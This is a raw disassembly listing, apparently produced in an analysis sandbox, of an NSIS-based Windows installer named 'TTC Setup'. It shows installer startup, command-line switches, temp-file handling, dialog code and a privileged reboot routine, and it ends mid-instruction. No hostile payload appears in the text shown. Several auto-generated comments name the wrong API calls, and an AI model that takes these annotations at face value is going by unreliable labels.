sub_403B73+1A5j mov edi, [ebp+var_C] mov eax, [ebp+var_8] push offset off_40C5D8 mov off_40C5E0, edi mov dword_40C5E4, eax call sub_401000 test eax, eax mov [ebp+var_18], eax jl loc_403D2B mov esi, off_40C5E0 sub esi, edi call ebx ; GetTickCount test byte ptr dword_4092C0, 1 mov edi, eax jz short loc_403CD1 sub eax, [ebp+var_10] cmp eax, 0C8h ja short loc_403C9E cmp [ebp+arg_C], 0 jnz short loc_403CD1 loc_403C9E: ; CODE XREF: sub_403B73+123j mov eax, [ebp+arg_0] push [ebp+arg_0] sub eax, [ebp+arg_C] push 64h push eax call ds:dword_40710C ; MulDiv push eax lea eax, [ebp+var_58] push offset a___D ; "... %d%%" push eax call ds:dword_40721C ; wsprintfA add esp, 0Ch lea eax, [ebp+var_58] push eax push 0 call sub_405CAC mov [ebp+var_10], edi loc_403CD1: ; CODE XREF: sub_403B73+119j ; sub_403B73+129j xor eax, eax cmp esi, eax jz short loc_403D20 cmp [ebp+arg_8], eax jnz short loc_403CFC push eax lea eax, [ebp+var_14] push eax push esi push [ebp+var_C] push [ebp+arg_4] call ds:dword_407150 ; WriteFile test eax, eax jz short loc_403D2F cmp [ebp+var_14], esi jnz short loc_403D2F add [ebp+var_4], esi jmp short loc_403D14 ; --------------------------------------------------------------------------- loc_403CFC: ; CODE XREF: sub_403B73+167j sub [ebp+var_8], esi add [ebp+var_4], esi mov eax, off_40C5E0 cmp [ebp+var_8], 1 mov [ebp+var_C], eax jl loc_403D95 loc_403D14: ; CODE XREF: sub_403B73+187j cmp [ebp+var_18], 1 jnz loc_403C53 jmp short loc_403D95 ; --------------------------------------------------------------------------- loc_403D20: ; CODE XREF: sub_403B73+162j cmp [ebp+arg_C], eax jg loc_403C23 jmp short loc_403D95 ; --------------------------------------------------------------------------- loc_403D2B: ; CODE XREF: sub_403B73+100j push 0FFFFFFFCh jmp short loc_403D4C ; --------------------------------------------------------------------------- loc_403D2F: ; CODE XREF: sub_403B73+17Dj ; sub_403B73+182j ... push 0FFFFFFFEh jmp short loc_403D4C ; --------------------------------------------------------------------------- loc_403D33: ; CODE XREF: sub_403B73+5Bj test edi, edi jz short loc_403D8A cmp [ebp+arg_C], esi jge short loc_403D3F mov esi, [ebp+arg_C] loc_403D3F: ; CODE XREF: sub_403B73+1C7j push esi push edi call sub_403D9F test eax, eax jnz short loc_403D92 loc_403D4A: ; CODE XREF: sub_403B73+51j ; sub_403B73+CBj ... push 0FFFFFFFDh loc_403D4C: ; CODE XREF: sub_403B73+1BAj ; sub_403B73+1BEj pop eax jmp short loc_403D98 ; --------------------------------------------------------------------------- loc_403D4F: ; CODE XREF: sub_403B73+21Bj mov esi, [ebp+var_8] cmp [ebp+arg_C], esi jge short loc_403D5A mov esi, [ebp+arg_C] loc_403D5A: ; CODE XREF: sub_403B73+1E2j mov edi, offset dword_4161E0 push esi push edi call sub_403D9F test eax, eax jz short loc_403D4A lea eax, [ebp+arg_8] push 0 push eax push esi push edi push [ebp+arg_4] call ds:dword_407150 ; WriteFile test eax, eax jz short loc_403D2F cmp esi, [ebp+arg_8] jnz short loc_403D2F add [ebp+var_4], esi sub [ebp+arg_C], esi loc_403D8A: ; CODE XREF: sub_403B73+1C2j cmp [ebp+arg_C], 0 jg short loc_403D4F jmp short loc_403D95 ; --------------------------------------------------------------------------- loc_403D92: ; CODE XREF: sub_403B73+1D5j mov [ebp+var_4], esi loc_403D95: ; CODE XREF: sub_403B73+AAj ; sub_403B73+19Bj ... mov eax, [ebp+var_4] loc_403D98: ; CODE XREF: sub_403B73+1DAj pop edi pop esi pop ebx leave retn 10h sub_403B73 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403D9F proc near ; CODE XREF: sub_4020E9+1357p ; sub_4038D5+9Fp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_4] lea eax, [ebp+arg_4] push 0 push eax push esi push [ebp+arg_0] push dword_409048 call ds:dword_407130 ; ReadFile test eax, eax jz short loc_403DCA cmp [ebp+arg_4], esi jnz short loc_403DCA xor eax, eax inc eax jmp short loc_403DCC ; --------------------------------------------------------------------------- loc_403DCA: ; CODE XREF: sub_403D9F+1Fj ; sub_403D9F+24j xor eax, eax loc_403DCC: ; CODE XREF: sub_403D9F+29j pop esi pop ebp retn 8 sub_403D9F endp ; =============== S U B R O U T I N E ======================================= sub_403DD1 proc near ; CODE XREF: sub_4020E9+134Ep ; sub_4038D5+1E8p ... arg_0 = dword ptr 4 push 0 push 0 push [esp+8+arg_0] push dword_409048 call ds:dword_407120 ; SetFilePointer retn 4 sub_403DD1 endp ; =============== S U B R O U T I N E ======================================= sub_403DE8 proc near ; CODE XREF: start+4Dp start+70p push esi mov esi, offset aCDocume1SriU_1 ; "C:\\DOCUME~1\\SRI-user\\LOCALS~1\\Temp\\" push esi call sub_406B09 push esi call sub_40643C test eax, eax jnz short loc_403E00 pop esi retn ; --------------------------------------------------------------------------- loc_403E00: ; CODE XREF: sub_403DE8+14j push esi call sub_4063CF push 0 push esi call ds:dword_407094 ; CreateDirectoryA push esi push offset byte_435000 call sub_4065BE pop esi retn sub_403DE8 endp ; =============== S U B R O U T I N E ======================================= public start start proc near var_D0 = dword ptr -0D0h var_CC = dword ptr -0CCh var_C0 = dword ptr -0C0h var_A8 = dword ptr -0A8h var_9C = dword ptr -9Ch var_98 = dword ptr -98h var_8C = dword ptr -8Ch var_88 = byte ptr -88h var_84 = byte ptr -84h var_74 = dword ptr -74h var_6C = dword ptr -6Ch var_64 = dword ptr -64h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h sub esp, 20h push ebx push ebp push esi xor ebx, ebx push edi mov [esp+30h+var_18], ebx mov [esp+30h+var_20], offset aErrorWritingTe ; "Error writing temporary file. Make sure"... mov [esp+30h+var_1C], 20h call ds:dword_407028 push ebx call ds:dword_40727C push offset aNsisError ; "NSIS Error" push offset aTtcSetup ; "TTC Setup" mov dword_42F0D0, eax call sub_4068C9 ; lstrcpy mov esi, offset aCDocume1SriU_1 ; "C:\\DOCUME~1\\SRI-user\\LOCALS~1\\Temp\\" mov edi, 400h push esi push edi call ds:dword_4070C4 ; GetTempPathA call sub_403DE8 mov ebp, ds:dword_40708C test eax, eax jnz short loc_403E99 push 3FBh push esi call ds:dword_4070C0 ; GetWindowsDirectoryA push offset aTemp ; "\\Temp" push esi call ebp ; lstrcat call sub_403DE8 test eax, eax jz loc_403FE0 loc_403E99: ; CODE XREF: start+5Aj mov esi, offset byte_435000 push esi call ds:dword_407110 ; DeleteFileA push edi call ds:dword_407154 ; GetCommandLineA push eax push esi call ds:dword_4070B8 ; lstrcpyn push 0 call ds:dword_407134 ; GetModuleHandleA cmp ds:byte_435000, 22h mov dword_42F020, eax jnz short loc_403ED4 mov byte ptr [esp+68h+var_54], 22h mov esi, offset byte_435001 loc_403ED4: ; CODE XREF: start+ACj push [esp+68h+var_54] push esi call sub_4063FB push eax call ds:dword_40717C ; CharNextA mov edi, eax mov [esp+6Ch+var_50], edi jmp short loc_403F50 ; --------------------------------------------------------------------------- loc_403EED: ; CODE XREF: start+138j cmp cl, 20h jnz short loc_403EF8 loc_403EF2: ; CODE XREF: start+DAj inc eax cmp byte ptr [eax], 20h jz short loc_403EF2 loc_403EF8: ; CODE XREF: start+D4j cmp byte ptr [eax], 22h mov byte ptr [esp+6Ch+var_58], 20h jnz short loc_403F08 inc eax mov byte ptr [esp+6Ch+var_58], 22h loc_403F08: ; CODE XREF: start+E4j cmp byte ptr [eax], 2Fh jnz short loc_403F40 inc eax cmp byte ptr [eax], 53h jnz short loc_403F21 mov cl, [eax+1] or cl, 20h cmp cl, 20h jnz short loc_403F21 or ebx, 2 loc_403F21: ; CODE XREF: start+F5j start+100j cmp dword ptr [eax], 4352434Eh jnz short loc_403F37 mov cl, [eax+4] or cl, 20h cmp cl, 20h jnz short loc_403F37 or ebx, 4 loc_403F37: ; CODE XREF: start+10Bj start+116j cmp dword ptr [eax-2], 3D442F20h jz short loc_403F58 loc_403F40: ; CODE XREF: start+EFj push [esp+6Ch+var_58] push eax call sub_4063FB cmp byte ptr [eax], 22h jnz short loc_403F50 inc eax loc_403F50: ; CODE XREF: start+CFj start+131j mov cl, [eax] test cl, cl jnz short loc_403EED jmp short loc_403F6A ; --------------------------------------------------------------------------- loc_403F58: ; CODE XREF: start+122j and byte ptr [eax-2], 0 add eax, 2 push eax push offset byte_435400 call sub_4068C9 ; lstrcpy loc_403F6A: ; CODE XREF: start+13Aj push ebx call sub_4038D5 xor ebx, ebx cmp eax, ebx mov [esp+74h+var_64], eax jnz short loc_403FE0 cmp dword_42F034, ebx jz short loc_403FD0 push ebx push edi call sub_4063FB mov esi, eax jmp short loc_403F96 ; --------------------------------------------------------------------------- loc_403F8D: ; CODE XREF: start+17Cj cmp dword ptr [esi], 3D3F5F20h jz short loc_403F9A dec esi loc_403F96: ; CODE XREF: start+16Fj cmp esi, edi jnb short loc_403F8D loc_403F9A: ; CODE XREF: start+177j cmp esi, edi mov [esp+74h+var_64], offset aErrorLaunching ; "Error launching installer" jb short loc_40400C and byte ptr [esi], 0 add esi, 4 push esi call sub_4064B0 test eax, eax jz short loc_403FE0 push esi push offset byte_435400 call sub_4068C9 ; lstrcpy push esi push offset aCProgramFilesC ; "C:\\Program Files\\Common Files" call sub_4068C9 ; lstrcpy mov [esp+84h+var_74], ebx loc_403FD0: ; CODE XREF: start+164j or dword_42F0CC, 0FFFFFFFFh call sub_4041E1 mov [esp+84h+var_6C], eax loc_403FE0: ; CODE XREF: start+77j start+15Cj ... call sub_4041BC call ds:dword_407280 cmp [esp+84h+var_74], 0 jz loc_4040FF push 100010h push [esp+88h+var_74] call sub_406202 push 2 call ds:dword_4070B4 ; ExitProcess loc_40400C: ; CODE XREF: start+188j mov [esp+88h+var_74], ebx mov edi, offset byte_42A5E9 mov esi, offset byte_42A5E8 mov ebx, offset dword_42A1E8 loc_40401F: ; CODE XREF: start+2D8j push offset aCDocume1SriU_1 ; "C:\\DOCUME~1\\SRI-user\\LOCALS~1\\Temp\\" push edi mov byte_42A5E8, 22h call sub_4068C9 ; lstrcpy push offset aANsisu__exe ; "A~NSISu_.exe" push esi call ebp ; lstrcat push edi call ds:dword_407110 ; DeleteFileA cmp [esp+9Ch+var_8C], 0 jz loc_4040E5 push 400h push ebx push dword_42F020 call ds:dword_4070A4 ; GetModuleFileNameA lea eax, dword_42A1DD[eax] push 4091C9h push eax call ds:dword_407068 ; lstrcmpi test eax, eax jz loc_403FE0 push 0 push edi push ebx call ds:dword_4070B0 ; CopyFileA test eax, eax jz short loc_4040E5 push 0 push edi call sub_406606 cmp ds:byte_435400, 0 jz short loc_4040A3 push offset byte_435400 push ebx call sub_4068C9 ; lstrcpy jmp short loc_4040A9 ; --------------------------------------------------------------------------- loc_4040A3: ; CODE XREF: start+278j push ebx call sub_406417 loc_4040A9: ; CODE XREF: start+285j push offset asc_409248 ; "\" " push esi call ebp ; lstrcat push [esp+0C4h+var_A8] push esi call ebp ; lstrcat push offset a_? ; " _?=" push esi call ebp ; lstrcat push ebx push esi call ebp ; lstrcat push esi call sub_4063CF push offset aCDocume1SriU_1 ; "C:\\DOCUME~1\\SRI-user\\LOCALS~1\\Temp\\" push esi call sub_40618A test eax, eax jz short loc_4040E5 push eax call ds:dword_40706C ; CloseHandle and [esp+0E0h+var_D0], 0 loc_4040E5: ; CODE XREF: start+229j start+267j ... inc byte ptr aANsisu__exe ; "A~NSISu_.exe" inc [esp+0E0h+var_CC] cmp [esp+0E0h+var_CC], 1Ah jl loc_40401F jmp loc_403FE0 ; --------------------------------------------------------------------------- loc_4040FF: ; CODE XREF: start+1D4j cmp dword_42F0B4, 0 jz loc_4041A4 push offset aAdvapi32_dll ; "ADVAPI32.dll" call ds:dword_407134 ; GetModuleHandleA mov edi, eax test edi, edi jz short loc_40418F mov esi, ds:dword_40713C push offset aOpenprocesstok ; "OpenProcessToken" push edi call esi ; GetProcAddress push offset aLookupprivileg ; "LookupPrivilegeValueA" push edi mov ebp, eax call esi ; GetProcAddress push offset aAdjusttokenpri ; "AdjustTokenPrivileges" push edi mov ebx, eax call esi ; GetProcAddress test ebp, ebp mov edi, eax jz short loc_40418F test ebx, ebx jz short loc_40418F test edi, edi jz short loc_40418F lea eax, [esp+0A0h+var_84] push eax push 28h call ds:dword_4070AC ; GetCurrentProcess push eax call ebp ; lstrcat test eax, eax jz short loc_40418F lea eax, [esp+0ACh+var_88] xor esi, esi push eax push offset aSeshutdownpriv ; "SeShutdownPrivilege" push esi call ebx ; GetTickCount push esi push esi lea eax, [esp+0C0h+var_98] push esi push eax push esi push [esp+0CCh+var_9C] mov [esp+0D0h+var_98], 1 mov [esp+0D0h+var_8C], 2 call edi ; SendMessageA loc_40418F: ; CODE XREF: start+2FFj start+327j ... push 0 push 2 call ds:dword_407178 ; ExitWindowsEx test eax, eax jnz short loc_4041A4 push 9 call sub_4020C0 loc_4041A4: ; CODE XREF: start+2EAj start+37Fj mov eax, dword_42F0CC cmp eax, 0FFFFFFFFh jz short loc_4041B2 mov [esp+0D8h+var_C0], eax loc_4041B2: ; CODE XREF: start+390j push [esp+0D8h+var_C0] call ds:dword_4070B4 ; ExitProcess start endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4041BC proc near ; CODE XREF: start:loc_403FE0p mov eax, dword_409048 cmp eax, 0FFFFFFFFh jz short loc_4041D4 push eax call ds:dword_40706C ; CloseHandle or dword_409048, 0FFFFFFFFh loc_4041D4: ; CODE XREF: sub_4041BC+8j push 7 push offset aCDocume1SriU_2 ; "C:\\DOCUME~1\\SRI-user\\LOCALS~1\\Temp\\nsy2"... call sub_406253 retn sub_4041BC endp ; =============== S U B R O U T I N E ======================================= sub_4041E1 proc near ; CODE XREF: start+1BBp var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 mov eax, dword_42F030 sub esp, 14h and eax, 20h push ebx push ebp push esi mov esi, dword_42F028 push edi mov dword_42F0A0, eax call sub_404440 mov ebp, offset byte_435400 push ebp call sub_4064B0 xor ebx, ebx test eax, eax jnz loc_404295 mov ecx, [esi+48h] cmp ecx, ebx jz short loc_404295 mov edx, [esi+4Ch] mov eax, dword_42F058 mov edi, offset aCall_0 ; "Call" add edx, eax push edi add ecx, eax push edx push ecx push dword ptr [esi+44h] call sub_4067BD mov al, byte ptr aCall_0 ; "Call" cmp al, bl jz short loc_404295 cmp al, 22h jnz short loc_404254 mov edi, 42DFC1h push 22h push edi call sub_4063FB mov [eax], bl loc_404254: ; CODE XREF: sub_4041E1+62j push edi call sub_4068CF ; lstrlen lea eax, [eax+edi-4] cmp eax, edi jbe short loc_404288 push offset a_exe ; ".exe" push eax call ds:dword_407068 ; lstrcmpi test eax, eax jnz short loc_404288 push edi call ds:dword_407074 ; GetFileAttributesA cmp eax, 0FFFFFFFFh jz short loc_404282 test al, 10h jnz short loc_404288 loc_404282: ; CODE XREF: sub_4041E1+9Bj push edi call sub_406417 loc_404288: ; CODE XREF: sub_4041E1+7Fj ; sub_4041E1+8Fj ... push edi call sub_4063CF push eax push ebp call sub_4068C9 ; lstrcpy loc_404295: ; CODE XREF: sub_4041E1+2Ej ; sub_4041E1+39j ... push ebp call sub_4064B0 test eax, eax jnz short loc_4042AB push dword ptr [esi+118h] push ebp call sub_4068D5 loc_4042AB: ; CODE XREF: sub_4041E1+BCj push 8040h push ebx push ebx push 1 push 67h push dword_42F020 call ds:dword_407234 ; LoadImageA mov dword_42E808, eax cmp dword ptr [esi+50h], 0FFFFFFFFh mov edi, offset dword_42E7C0 jz loc_40435F mov ecx, dword_42F020 mov dword_42E7D4, eax lea eax, [esp+24h+var_14] push edi mov [esp+28h+var_14], 624E5Fh mov dword_42E7C4, offset sub_401E32 mov dword_42E7D0, ecx mov dword_42E7E4, eax call ds:dword_407190 ; RegisterClassA test ax, ax jz loc_404436 lea eax, [esp+24h+var_10] push ebx push eax push ebx push 30h call ds:dword_40718C ; SystemParametersInfoA push ebx push dword_42F020 mov eax, [esp+2Ch+var_4] sub eax, [esp+2Ch+var_C] push ebx push ebx push eax mov eax, [esp+38h+var_8] sub eax, [esp+38h+var_10] push eax lea eax, [esp+3Ch+var_14] push [esp+3Ch+var_C] push [esp+40h+var_10] push 80000000h push ebx push eax push 80h call ds:dword_407188 ; CreateWindowExA mov dword_42B5F8, eax loc_40435F: ; CODE XREF: sub_4041E1+EFj push ebx call sub_4020C0 test eax, eax jz short loc_404371 loc_404369: ; CODE XREF: sub_4041E1+23Cj ; sub_4041E1+249j push 2 pop eax jmp loc_404438 ; --------------------------------------------------------------------------- loc_404371: ; CODE XREF: sub_4041E1+186j call sub_404440 cmp dword_42F0C0, ebx jnz loc_40440D push 5 push dword_42B5F8 call ds:dword_407218 ; ShowWindow mov esi, ds:dword_407138 mov ebp, offset aRiched20_dll ; "RichEd20.dll" push ebp call esi ; LoadLibraryA test eax, eax jnz short loc_4043AE push ebp mov word ptr aRiched20_dll+6, 3233h call esi ; LoadLibraryA loc_4043AE: ; CODE XREF: sub_4041E1+1BFj mov ebp, ds:dword_407184 mov esi, offset aRichedit20a ; "RichEdit20A" push edi push esi push ebx call ebp ; GetClassInfoA test eax, eax jnz short loc_4043E1 push edi push esi push ebx mov byte ptr aRichedit20a+8, bl call ebp ; GetClassInfoA push edi mov dword_42E7E4, esi mov byte ptr aRichedit20a+8, 32h call ds:dword_407190 ; RegisterClassA loc_4043E1: ; CODE XREF: sub_4041E1+1DFj mov eax, dword_42E800 push ebx add eax, 69h push offset sub_4044FB movzx eax, ax push ebx push eax push dword_42F020 call ds:dword_407180 ; DialogBoxParamA push 5 mov esi, eax call sub_4020C0 mov eax, esi jmp short loc_404438 ; --------------------------------------------------------------------------- loc_40440D: ; CODE XREF: sub_4041E1+19Bj push ebx call sub_405D83 test eax, eax jz short loc_40442F cmp dword_42E7EC, ebx jnz loc_404369 push 2 call sub_4020C0 jmp loc_404369 ; --------------------------------------------------------------------------- loc_40442F: ; CODE XREF: sub_4041E1+234j push 1 call sub_4020C0 loc_404436: ; CODE XREF: sub_4041E1+12Bj xor eax, eax loc_404438: ; CODE XREF: sub_4041E1+18Bj ; sub_4041E1+22Aj pop edi pop esi pop ebp pop ebx add esp, 14h retn sub_4041E1 endp ; =============== S U B R O U T I N E ======================================= sub_404440 proc near ; CODE XREF: sub_4041E1+1Ap ; sub_4041E1:loc_404371p cmp ds:byte_436000, 0 push ebx push ebp push esi push edi mov edi, 0FFFFh mov ebx, offset byte_436000 jz short loc_40445F push ebx call sub_406840 jmp short loc_404465 ; --------------------------------------------------------------------------- loc_40445F: ; CODE XREF: sub_404440+15j call ds:dword_4070C8 ; GetUserDefaultLangID loc_404465: ; CODE XREF: sub_404440+1Dj xor ecx, ecx loc_404467: ; CODE XREF: sub_404440+8Dj ; sub_404440+91j mov esi, dword_42F064 test esi, esi jz short loc_4044B8 mov ecx, dword_42F028 mov ecx, [ecx+64h] mov edx, ecx imul ecx, esi neg edx add ecx, dword_42F060 loc_404487: ; CODE XREF: sub_404440+59j add ecx, edx dec esi mov bp, [ecx] xor bp, ax and ebp, edi test bp, bp jz short loc_40449D test esi, esi jnz short loc_404487 jmp short loc_4044B8 ; --------------------------------------------------------------------------- loc_40449D: ; CODE XREF: sub_404440+55j mov edx, [ecx+2] mov dword_42E800, edx mov edx, [ecx+6] mov dword_42F0C8, edx lea edx, [ecx+0Ah] mov dword_42E7FC, edx loc_4044B8: ; CODE XREF: sub_404440+2Fj ; sub_404440+5Bj cmp dword_42E7FC, 0 jnz short loc_4044D3 cmp di, 0FFFFh jnz short loc_4044CF mov edi, 3FFh jmp short loc_404467 ; --------------------------------------------------------------------------- loc_4044CF: ; CODE XREF: sub_404440+86j xor edi, edi jmp short loc_404467 ; --------------------------------------------------------------------------- loc_4044D3: ; CODE XREF: sub_404440+7Fj movzx eax, word ptr [ecx] push eax push ebx call sub_406827 push 0FFFFFFFEh push offset aTtcSetup ; "TTC Setup" call sub_4068D5 push eax push dword_42B5F8 call ds:dword_40720C ; SetWindowTextA pop edi pop esi pop ebp pop ebx retn sub_404440 endp ; =============== S U B R O U T I N E ======================================= sub_4044FB proc near ; DATA XREF: sub_4041E1+209o var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h sub esp, 10h mov ecx, 110h push ebx push ebp mov ebp, [esp+18h+arg_4] push esi cmp ebp, ecx push edi jz loc_404686 cmp ebp, 408h jz loc_404686 mov ebx, [esp+20h+arg_0] cmp ebp, 47h jnz short loc_40453D xor eax, eax push 13h push eax push eax push eax push eax push ebx push dword_42B5F8 call ds:dword_4071A8 ; SetWindowPos loc_40453D: ; CODE XREF: sub_4044FB+2Bj cmp ebp, 5 jnz short loc_40455A mov eax, [esp+20h+arg_8] dec eax neg eax sbb eax, eax and eax, ebp push eax push dword_42B5F8 call ds:dword_407218 ; ShowWindow loc_40455A: ; CODE XREF: sub_4044FB+45j cmp ebp, 40Dh jnz short loc_40457C push dword_42E7F8 call ds:dword_407204 ; DestroyWindow mov eax, [esp+20h+arg_8] mov dword_42E7F8, eax jmp loc_404977 ; --------------------------------------------------------------------------- loc_40457C: ; CODE XREF: sub_4044FB+65j cmp ebp, 11h jnz short loc_404594 push 0 push 0 push ebx call ds:dword_407230 ; SetWindowLongA xor eax, eax inc eax jmp loc_40499E ; --------------------------------------------------------------------------- loc_404594: ; CODE XREF: sub_4044FB+84j cmp ebp, 10h jnz short loc_4045CC mov eax, dword_42F044 dec eax cmp dword_4092A4, eax jnz loc_404673 push dword_42ADE8 call ds:dword_4071A4 ; IsWindowEnabled test eax, eax jnz loc_404673 mov ebp, 111h mov [esp+20h+arg_8], 1 loc_4045CC: ; CODE XREF: sub_4044FB+9Cj cmp ebp, 111h jnz loc_404673 movzx esi, word ptr [esp+20h+arg_8] push esi push ebx call ds:dword_40722C ; GetDlgItem mov ebx, ds:dword_407248 mov edi, eax test edi, edi jz short loc_40460C push 0 push 0 push 0F3h push edi call ebx ; SendMessageA push edi call ds:dword_4071A4 ; IsWindowEnabled test eax, eax jz loc_40499C loc_40460C: ; CODE XREF: sub_4044FB+F4j xor edi, edi inc edi cmp esi, edi jnz short loc_404616 push edi jmp short loc_404644 ; --------------------------------------------------------------------------- loc_404616: ; CODE XREF: sub_4044FB+116j cmp esi, 3 jnz short loc_404628 cmp dword_4092A4, 0 jle short loc_40465E push 0FFFFFFFFh jmp short loc_404644 ; --------------------------------------------------------------------------- loc_404628: ; CODE XREF: sub_4044FB+11Ej cmp esi, 2 jnz short loc_40465E cmp dword_42F0AC, 0 jz short loc_40464B push esi call sub_4020C0 mov dword_42ADF0, esi loc_404642: ; CODE XREF: sub_4044FB+161j push 78h loc_404644: ; CODE XREF: sub_4044FB+119j ; sub_4044FB+12Bj call sub_4049A8 jmp short loc_404673 ; --------------------------------------------------------------------------- loc_40464B: ; CODE XREF: sub_4044FB+139j push 3 call sub_4020C0 test eax, eax jnz short loc_404673 mov dword_42ADF0, edi jmp short loc_404642 ; --------------------------------------------------------------------------- loc_40465E: ; CODE XREF: sub_4044FB+127j ; sub_4044FB+130j push [esp+20h+arg_C] push [esp+24h+arg_8] push 111h push dword_42E7F8 call ebx ; SendMessageA loc_404673: ; CODE XREF: sub_4044FB+AAj ; sub_4044FB+BEj ... push [esp+20h+arg_C] push [esp+24h+arg_8] push ebp call sub_404A36 jmp loc_40499E ; --------------------------------------------------------------------------- loc_404686: ; CODE XREF: sub_4044FB+12j ; sub_4044FB+1Ej mov eax, [esp+20h+arg_8] mov ebx, [esp+20h+arg_0] cmp ebp, ecx mov dword_42B604, eax jnz short loc_4046E4 mov esi, ds:dword_40722C push 1 push ebx mov dword_42F024, ebx call esi ; GetDlgItem push 2 push ebx mov dword_42BA14, eax call esi ; GetDlgItem push 0FFFFFFFFh push 1Ch push ebx mov dword_42ADE8, eax call sub_4049CF push dword_42E808 push 0FFFFFFF2h push ebx call ds:dword_4071A0 ; SetClassLongA push 4 call sub_4020C0 mov dword_42E7EC, eax xor eax, eax inc eax mov dword_42B604, eax loc_4046E4: ; CODE XREF: sub_4044FB+19Aj mov ecx, dword_4092A4 xor edi, edi mov esi, ecx shl esi, 6 add esi, dword_42F040 cmp ecx, edi jl short loc_404725 cmp eax, 1 jnz short loc_40471D push edi push dword ptr [esi+10h] call sub_40201D test eax, eax jz short loc_40471D xor eax, eax cmp dword_42E7EC, edi setz al jmp loc_40499E ; --------------------------------------------------------------------------- loc_40471D: ; CODE XREF: sub_4044FB+203j ; sub_4044FB+210j cmp [esi], edi jz loc_40499C loc_404725: ; CODE XREF: sub_4044FB+1FEj push 40Bh call sub_404A1B loc_40472F: ; CODE XREF: sub_4044FB+370j ; sub_4044FB+378j ... mov eax, dword_42B604 add dword_4092A4, eax shl eax, 6 add esi, eax mov eax, dword_4092A4 cmp eax, dword_42F044 jnz short loc_404753 push 1 call sub_4020C0 loc_404753: ; CODE XREF: sub_4044FB+24Fj cmp dword_42E7EC, 0 jnz loc_404957 mov eax, dword_42F044 cmp dword_4092A4, eax jnb loc_404957 push dword ptr [esi+24h] mov edi, [esi+14h] push offset dword_437000 call sub_4068D5 push dword ptr [esi+20h] push 0FFFFFC19h push ebx call sub_4049CF push dword ptr [esi+1Ch] push 0FFFFFC1Bh push ebx call sub_4049CF push dword ptr [esi+28h] push 0FFFFFC1Ah push ebx call sub_4049CF push 3 push ebx call ds:dword_40722C ; GetDlgItem cmp dword_42F0AC, 0 mov ebp, eax jz short loc_4047C7 and di, 0FEFDh or edi, 4 loc_4047C7: ; CODE XREF: sub_4044FB+2C2j mov eax, edi and eax, 8 push eax push ebp call ds:dword_407218 ; ShowWindow mov eax, edi and eax, 100h push eax push ebp call ds:dword_40723C ; EnableWindow mov eax, edi and eax, 2 push eax call sub_4049F1 and edi, 4 push edi push dword_42ADE8 call ds:dword_40723C ; EnableWindow xor edi, edi push 1 push edi push 0F4h push ebp mov ebp, ds:dword_407248 call ebp ; SendMessageA cmp dword_42F0AC, edi jz short loc_40482C push edi push 2 push 401h push ebx call ebp ; SendMessageA push dword_42ADE8 jmp short loc_404832 ; --------------------------------------------------------------------------- loc_40482C: ; CODE XREF: sub_4044FB+31Cj push dword_42BA14 loc_404832: ; CODE XREF: sub_4044FB+32Fj call sub_404A04 mov ebp, offset dword_42BA18 push offset aTtcSetup ; "TTC Setup" push ebp call sub_4068C9 ; lstrcpy push dword ptr [esi+18h] push ebp call sub_4068CF ; lstrlen add eax, ebp push eax call sub_4068D5 push ebp push ebx call ds:dword_40720C ; SetWindowTextA push edi push dword ptr [esi+8] call sub_40201D test eax, eax jnz loc_40472F cmp [esi], eax jz loc_40472F cmp dword ptr [esi+4], 5 jnz short loc_40489C cmp dword_42F0AC, eax jnz loc_40499C cmp dword_42F0A0, eax jnz loc_40472F jmp loc_40499C ; --------------------------------------------------------------------------- loc_40489C: ; CODE XREF: sub_4044FB+382j push dword_42E7F8 call ds:dword_407204 ; DestroyWindow mov dword_42ADF4, esi cmp dword ptr [esi], 0 jle loc_404977 mov eax, [esi+4] push esi push off_4092A8[eax*4] mov ax, [esi] add ax, word ptr dword_42E800 push ebx movzx eax, ax push eax push dword_42F020 call ds:dword_407200 ; CreateDialogParamA test eax, eax mov dword_42E7F8, eax jz loc_404977 push dword ptr [esi+2Ch] push 6 push eax call sub_4049CF lea eax, [esp+20h+var_10] push eax push 3FAh push ebx call ds:dword_40722C ; GetDlgItem push eax call ds:dword_40719C ; GetWindowRect lea eax, [esp+20h+var_10] push eax push ebx call ds:dword_407198 ; ScreenToClient xor edi, edi push 15h push edi push edi push [esp+2Ch+var_C] push [esp+30h+var_10] push edi push dword_42E7F8 call ds:dword_4071A8 ; SetWindowPos push edi push dword ptr [esi+0Ch] call sub_40201D push 8 push dword_42E7F8 call ds:dword_407218 ; ShowWindow push 405h call sub_404A1B jmp short loc_404977 ; --------------------------------------------------------------------------- loc_404957: ; CODE XREF: sub_4044FB+25Fj ; sub_4044FB+270j push dword_42E7F8 call ds:dword_407204 ; DestroyWindow push dword_42ADF0 and dword_42F024, 0 push ebx call ds:dword_407194 ; EndDialog loc_404977: ; CODE XREF: sub_4044FB+7Cj ; sub_4044FB+3B6j ... cmp dword_42CA18, 0 jnz short loc_40499C cmp dword_42E7F8, 0 jz short loc_40499C push 0Ah push ebx call ds:dword_407218 ; ShowWindow mov dword_42CA18, 1 loc_40499C: ; CODE XREF: sub_4044FB+10Bj ; sub_4044FB+224j ... xor eax, eax loc_40499E: ; CODE XREF: sub_4044FB+94j ; sub_4044FB+186j ... pop edi pop esi pop ebp pop ebx add esp, 10h retn 10h sub_4044FB endp ; =============== S U B R O U T I N E ======================================= sub_4049A8 proc near ; CODE XREF: sub_4044FB:loc_404644p ; sub_405DE5+219p ... arg_0 = dword ptr 4 cmp [esp+arg_0], 78h jnz short loc_4049B5 inc dword_42E7EC loc_4049B5: ; CODE XREF: sub_4049A8+5j push 0 push [esp+4+arg_0] push 408h push dword_42F024 call ds:dword_407248 ; SendMessageA retn 4 sub_4049A8 endp ; =============== S U B R O U T I N E ======================================= sub_4049CF proc near ; CODE XREF: sub_4044FB+1C1p ; sub_4044FB+28Fp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_8] push 0 call sub_4068D5 push eax mov eax, [esp+4+arg_4] add eax, 3E8h push eax push 